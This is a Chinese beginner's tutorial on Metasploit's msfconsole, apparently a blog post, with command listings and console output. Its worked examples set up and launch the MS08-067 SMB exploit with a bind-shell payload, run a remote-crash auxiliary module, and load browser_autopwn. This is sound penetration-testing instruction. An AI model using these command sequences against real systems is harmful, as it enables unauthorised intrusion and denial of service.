Metasploit 使用简介

Metasploit
Framework 是非常优秀的开源渗透测试框架,像我这样的菜鸟刚刚听说,于是花时间好好研究了一下,整理了一下学习笔记,贴出来和大家一起交流。第一次写文章又不足的地方大家多多指点。

Metasploit 渗透测试框架(MSF3.4)包含3功能模块:msfconsole、msfweb、msfupdate。msfupdate用于软件更新,建议使用前先进行更新,可以更新最新的漏洞库和利用代码。msfconsole 是整个框架中最受欢迎的模块,个人感觉也是功能强大的模块,所有的功能都可以该模块下运行。msfweb 是Metasploit framework的web组件支持多用户,是Metasploit图形化接口。

msfconsole

msfconsole是MSF中最主要最常用的功能组件,使用集成化的使用方法,可以使用MSF中的所有命令和模块,支持很多其它接口方式不支持的功能,启动msfconsole如下图所示:




|                    |      _)
|

__ `__ \   _ \ __|  _`
|  __| __ \  |  _ \  |
__|

|   |   |  __/
|   (   |\__ \ |   | |
(   | | |

_|  _|  _|\___|\__|\__,_|____/ .__/
_|\___/ _|\__|

=[ metasploit
v3.4.2-dev [core:3.4 api:1.0]
+ -- --=[ 567 exploits - 283
auxiliary
+ -- --=[ 210 payloads - 27 encoders - 8
nops
       =[ svn r9854 updated
today (2010.07.17)

msf>

msfconsole主要有以下特点:

支持命令完成功能(tab键)

支持外部命令执行(可以执行系统命令)

如下为使用ping命令:




|                    |      _)
|

__
`__ \   _ \ __|  _` |  __| __
\  |  _ \  | __|

|   |   |  __/
|   (   |\__ \ |   | |
(   | | |

_|  _|  _|\___|\__|\__,_|____/ .__/
_|\___/ _|\__|

=[
metasploit v3.4.2-dev [core:3.4 api:1.0]
+ -- --=[ 567 exploits - 283
auxiliary
+ -- --=[ 210 payloads - 27 encoders - 8
nops
       =[ svn r9854 updated
today (2010.07.17)

msf>ping
www.baidu.com

ping
www.baidu.com

[*]
exec: ping www.baidu.com

Pinging
www.a.shifen.com [119.75.217.56] with 32 bytes of data:

[119.75.217.56]
with 32 bytes of data:

Reply
from 119.75.217.56: bytes=32 time=73ms TTL=49

……

Ping
statistics for 119.75.217.56:

Packets:
Sent = 4, Received = 4, Lost = 0 (0% loss),

Approximate
round trip times in milli-seconds:

Minimum
= 73ms, Maximum = 94ms, Average = 79ms

msf
>

使用流程

使用简介(1)" name="image_operate_2411279372060712"
alt="Metasploit 使用简介(1)" src="http://s3.sinaimg.cn/middle/69f4425dg8b95050ba022&690"
width="575" height="448">

help命令

和其它基于命令行的程序一样,使用?或者help可以显示MSF所支持的命令,如下为MSF内置的全部命令。





msf
> help

Core
Commands

=============

Command       Description

-------       -----------

?             显示帮助菜单

back          从当前环境返回到主路径

banner        显示软件旗标信息

cd            改变当前工作路径

color         切换颜色

connect       连接主机,类似于telnet和nc

exit          退出

help          显示帮助菜单,即该页面

info          显示模块的详细信息

irb           进入irb脚本模式

jobs          显示和管理作业

kill          结束一个作业

load          加载framework插件

loadpath      从指定路径加载模块

quit          退出

resource      运行文件中的命令

route         Route
traffic through a session

save          保持数据

search        搜索模块及名称

sessions      显示及转存会话列表

set           设置变量值

setg          设置全局变量值

show          显示给定类型的模块或全部模块

sleep         休眠

unload        卸载 framework 插件

unset         取消变量设置

unsetg        取消全局变量设置

use           根据名字选择一个模块

version       显示版本

Database
Backend Commands

=========================

Command               Description

-------               -----------

db_services           List
all services in the database

db_status             Show
the current database status

db_sync               Synchronize
the database

db_vulns              List
all vulnerabilities in the database

db_workspace          Switch
between database workspaces

show命令


在msfconsole中键入show,系统会显示Metasploit的所有模块,若想显示某一类型的模块可以加入模块名称,最常用的主要有一下三个:show payloads、show exploits、show
auxiliary。






msf>show
auxiliary

Auxiliary

=========

Name                                              Rank       Description

----                                              ----       -----------

admin/backupexec/dump                             normal     Veritas
Backup Exec Windows Remote File Access

admin/backupexec/registry                         normal     Veritas
Backup Exec Server Registry Access

……

show auxiliary显示Metasploit中的可用辅助模块列表,这些辅助模块包括scanner、dos、fuzzer等

show
exploits 显示Metasploit中包含的所有可以利用的攻击类型列表。

show
payloads 显示Metasploit中可以在不同平台中可以在远程主机执行的代码,即shellcode。注:在使用具体的exploit时,只显示该平台支持的payload,例如:在使用ms08-067时,只显示windows平台可以使用的payload。

show options 显示可利用模块exploit的设置、条件、描述等。在具体的模块中使用,后面use命令中会有实例。

show targets 显示可利用模块exploit支持的目标类型(操作系统、软件版本等)。在具体的模块中使用,后面use命令中会有实例。

show
advanced 显示可利用模块exploit高级信息,自定义利用程序时使用。在具体的模块中使用,后面use命令中会有实例。

show
encoders 显示可利用模块exploit的编码方式,在具体的模块中使用,后面set命令中会有实例。

search命令

search 命令是最常用的命令之一,用于查找各种exploit、payload、auxiliary等,命令支持基于正则表达式的模糊查询。如下为查找ms08-067实例:




msf
> search ms08-067

[*]
Searching loaded modules for pattern ‘ms08-067‘...

Exploits

========

Name                         Rank   Description

----                         ----   -----------nption

info命令

info用于显示特殊模块的详细信息,显示内容包括该模块的选项、目标及其它信息。以下是使用info命令显示ms08-067实例:




msf >
info windows/smb/ms08_067_netapi

Name: Microsoft
Server Service Relative Path Stack Corruption

Version:
9839

Platform:
Windows

Privileged:
Yes

License:
Metasploit Framework License (BSD)

Rank:
Great

Provided
by:

hdm
<[email protected]>

Brett
Moore <[email protected]>

Available targets:

Id  Name

--  ----

0   Automatic
Targeting

1   Windows
2000 Universal

………

60  Windows
XP SP3 Turkish (NX)

Basic
options:

Name     Current
Setting  Required  Description

----     ---------------  --------  -----------

RHOST                     yes       The
target address

RPORT    445              yes       Set
the SMB service port

SMBPIPE  BROWSER          yes       The
pipe name to use (BROWSER, SRVSVC)

Payload
information:

Space:
400

Avoid:
8 characters

Description:

This
module exploits a parsing flaw in the path canonicalization

code
of NetAPI32.dll through the Server Service. This module is

……

on 2003, along with other platforms, is still
in development.References:

http://cve.mitre.org/cgi-bin/cvename.cgi?name=2008-4250

use命令

use命令用于使用特殊的模块,如利用程序、shellcode或辅助模块等。以ms08-067为例,模块名称必须包含完整的路径,可以通过search命令搜索,以下还演示了show options、show
targets命令的使用。





msf
> use windows/smb/ms08_067_netapi

msf
exploit(ms08_067_netapi) > show options

Module
options:

Name     Current
Setting  Required  Description

----     ---------------  --------  -----------

RHOST                     yes       The
target address

RPORT    445              yes       Set
the SMB service port

SMBPIPE  BROWSER          yes       The
pipe name to use (BROWSER, SRVSVC)

Exploit
target:

Id  Name

--  ----

0   Automatic
Targeting

msf
exploit(ms08_067_netapi) > show targets

Exploit
targets:

Id  Name

--  ----

0   Automatic
Targeting

………

60  Windows
XP SP3 Turkish (NX)


conect 命令

connect命令可以连接到远程主机,连接方式和nc、telnet相同,可以指定端口,如下为connect命令演示:




msf
> connect 127.0.0.1 4000

[*]
Connected to 127.0.0.1:4000

Microsoft
Windows [Version 6.1.7600]

Copyright
(c) 2009 Microsoft Corporation.  All rights reserved.

E:\技术工具\cmd>msf >


set命令

set命令用于当前使用模块的选项和设置参数。

set
payload  xxx/xxx z设置溢出代码

set
encoder xxx/xxx 设置利用程序编码方式

set
target xxx 设置目标类型

set
xxx xxx 设置参数

下面以ms08-067为例:




msf
> use windows/smb/ms08_067_netapi

msf
exploit(ms08_067_netapi) > show options

Module
options:

Name     Current
Setting  Required  Description

----     ---------------  --------  -----------

RHOST                     yes       The
target address

RPORT    445              yes       Set
the SMB service port

SMBPIPE  BROWSER          yes       The
pipe name to use (BROWSER, SRVSVC)

Exploit
target:

Id  Name

--  ----

0   Automatic
Targeting

msf
exploit(ms08_067_netapi) > set RHOST
192.168.10.10

RHOST
=> 192.168.10.10

msf
exploit(ms08_067_netapi) > set payload
windows/shell/bind_tcp

payload
=> windows/shell/bind_tcp

msf
exploit(ms08_067_netapi) > show options

Module
options:

Name     Current
Setting  Required  Description

----     ---------------  --------  -----------

RHOST    192.168.10.10    yes       The
target address

RPORT    445              yes       Set
the SMB service port

SMBPIPE  BROWSER          yes       The
pipe name to use (BROWSER, SRVSVC)

Payload
options (windows/shell/bind_tcp):

Name      Current
Setting  Required  Description

----      ---------------  --------  -----------

EXITFUNC  thread           yes       Exit
technique: seh, thread, process

LPORT     4444             yes       The
listen port

RHOST     192.168.10.10    no        The
target address

Exploit
target:

Id  Name

--  ----

0   Automatic
Targeting

msf
exploit(ms08_067_netapi) >exploit


check命令

部分exploit支持check命令,该命令用于检测目标系统是否存在漏洞,而不是进行溢出操作。如下:说明目标系统不存在漏洞




msf
exploit(ms04_045_wins) > check

[-]
Check failed: The connection was refused by the remote host
(192.168.1.114:42)


设置全局变量

Metasploit 支持设置全局变量并可以进行存储,下次登录时直接使用。设置全局变量使用setg命令,unsetg撤销全局变量,save用于保存全局变量。如下所示:




msf
> setg LHOST 192.168.1.101

LHOST
=> 192.168.1.101

msf
> setg RHOSTS 192.168.1.0/24

RHOSTS
=> 192.168.1.0/24

msf
> setg RHOST 192.168.1.136

RHOST
=> 192.168.1.136

msf
> save

Saved
configuration to: /root/.msf3/config


exploit/run命令

设置好各个参数后,可以使用exploit命令执行溢出操作,当使用了自定义auxiliary参数时,需要用run命令执行操作。




msf auxiliary(ms09_001_write) > run
Attempting to
crash the remote host...
datalenlow=65535 dataoffset=65535
fillersize=72
rescue…


resource命令

resource命令可以加载资源文件,并按顺序执行文件中的命令。




msf
> resource karma.rc

resource>
load db_sqlite3

[-]

[-]
The functionality previously provided by this plugin has been

[-]
integrated into the core command set. Use the new ‘db_driver‘

[-]
command to use a database driver other than sqlite3 (which

[-]
is now the default). All of the old commands are the same.

[-]

[-]
Failed to load plugin from
/pentest/exploits/framework3/plugins/db_sqlite3: Deprecated
plugin

resource>
db_create /root/karma.db

[*]
The specified database already exists, connecting

[*]
Successfully connected to the database

[*]
File: /root/karma.db

resource>
use auxiliary/server/browser_autopwn

resource>
setg AUTOPWN_HOST 10.0.0.1

AUTOPWN_HOST
=> 10.0.0.1


irb命令

运行irb命令,进入irb脚本模式,可以执行命令创建脚本。





msf
> irb

[*]
Starting IRB shell...

>>
puts "BlackAngle!"

BlackAngle!

时间: 2024-08-15 00:04:24

Metasploit 使用简介的相关文章

玩转Metasploit系列(第一集)

“如果我有七个小时的时间来砍树,那么我一定会花6个小时来磨我的斧头.”               –Abraham Lincoln ‍‍这句话一直引导着我做事的思路,而且从未改变过.这篇文章翻译自Offensive-security社区.我希望通过我的翻译能够让国内的安全人员能够有进一步的升华.当然,在翻译的时候我也加上了我自己的想法和一些注释.在我做渗透测试或者审计测试之前,我一般都会对我的Metasploit上面的工具和脚本进行升级和完善.中国有句俗话,养兵千日,用兵一时.我对Metasp

Metasploit 简介

简介 Metasploit就是一个漏洞框架.它的全称叫做The Metasploit Framework,简称叫做MSF.Metasploit作为全球最受欢迎的工具, 不仅仅是因为它的方便性和强大性,更重要的是它的框架.它允许使用者开发自己的漏洞脚本,从而进行测试. 0x01 安装.基本操作 kali Linux自带Metasploit,直接使用命令msfconsole启动即可 windows 可安装windows版本的msf,然后cmd启动msfconsole (windows最新版本下载链接

【转】kali linux简介

1.1 Kali Linux简介 如果您之前使用过或者了解BackTrack系列Linux的话,那么我只需要简单的说,Kali是BackTrack的升级换代产品,从Kali开始,BackTrack将成为历史. 如果您没接触过BackTrack也没关系,我们从头开始了解Kali Linux. 按照官方网站的定义,Kali Linux是一个高级渗透测试和安全审计Linux发行版.作为使用者,我简单的把它理解为,一个特殊的Linux发行版,集成了精心挑选的渗透测试和安全审计的工具,供渗透测试和安全设计

Android网络通讯简介

网络通信应该包含三部分的内容:发送方.接收方.协议栈.发送方和接收方是参与通信的主体,协议栈是发送方和接收方进行通信的契约.按照服务类型,网络通信可分为面向连接和无连接的方式.面向连接是在通信前建立通信链路,而通信结束后释放该链路.无连接的方式则不需要在通信前建立通信连接,这种方式不保证传输的质量. Android提供了多种网络通信的方式,如Java中提供的网络编程,在Android中都提供了支持.Android中常用的网络编程方式如下: 针对TCP/IP协议的Socket和ServerSock

微信红包的架构设计简介

@来源于QCon某高可用架构群整理,整理朱玉华. 背景:有某个朋友在朋友圈咨询微信红包的架构,于是乎有了下面的文字(有误请提出,谢谢) 概况:2014年微信红包使用数据库硬抗整个流量,2015年使用cache抗流量. 微信的金额什么时候算? 答:微信金额是拆的时候实时算出来,不是预先分配的,采用的是纯内存计算,不需要预算空间存储.. 采取实时计算金额的考虑:预算需要占存储,实时效率很高,预算才效率低. 实时性:为什么明明抢到红包,点开后发现没有? 答:2014年的红包一点开就知道金额,分两次操作

JSON 简介

ylbtech-JSON: JSON 简介 JSON:JavaScript Object Notation(JavaScript 对象表示法) JSON是存储和交换文本信息的语法,类似 XML. JSON 比 XML 更小.更快.更易解析. JSON 实例 { "employee":[ {"firstName":"John","lastName":"Doe"}, {"firstName"

Docker简介

Docker简介 什么是Docker: 正所谓Docker的英文本意为"搬运工",所以在我们的世界里,可以理解为Docker搬运的是装满任意类型的APP的集装箱,开发者可以通过Docker将APP变成一种标准化的.可移动植的.自动管理的组件.它用一种新的方式实现了轻量级的虚拟机,专业术语成为应用容器(Application Container) Docker的优势: 1.利用率高 ·Docker对系统资源的利用率很高,一台主机可以同时运行数千个Docker容器 2.可以快速的交付应用程

kafka入门:简介、使用场景、设计原理、主要配置及集群搭建(转)

问题导读: 1.zookeeper在kafka的作用是什么? 2.kafka中几乎不允许对消息进行"随机读写"的原因是什么? 3.kafka集群consumer和producer状态信息是如何保存的? 4.partitions设计的目的的根本原因是什么? 一.入门 1.简介 Kafka is a distributed,partitioned,replicated commit logservice.它提供了类似于JMS的特性,但是在设计实现上完全不同,此外它并不是JMS规范的实现.k

Quartz.NET简介及入门指南

Quartz.NET简介 Quartz.NET是一个功能完备的开源调度系统,从最小的应用到大规模的企业系统皆可适用. Quartz.NET是一个纯净的用C#语言编写的.NET类库,是对非常流行的JAVA开源调度框架 Quartz 的移植. 入门指南 本入门指南包括以下内容: 下载 Quartz.NET 安装 Quartz.NET 根据你的特定项目配置 Quartz 启动一个样例程序 下载和安装 你可以下载 zip 文件或使用 Nuget 程序包.Nuget 程序包只包含 Quartz.NET 运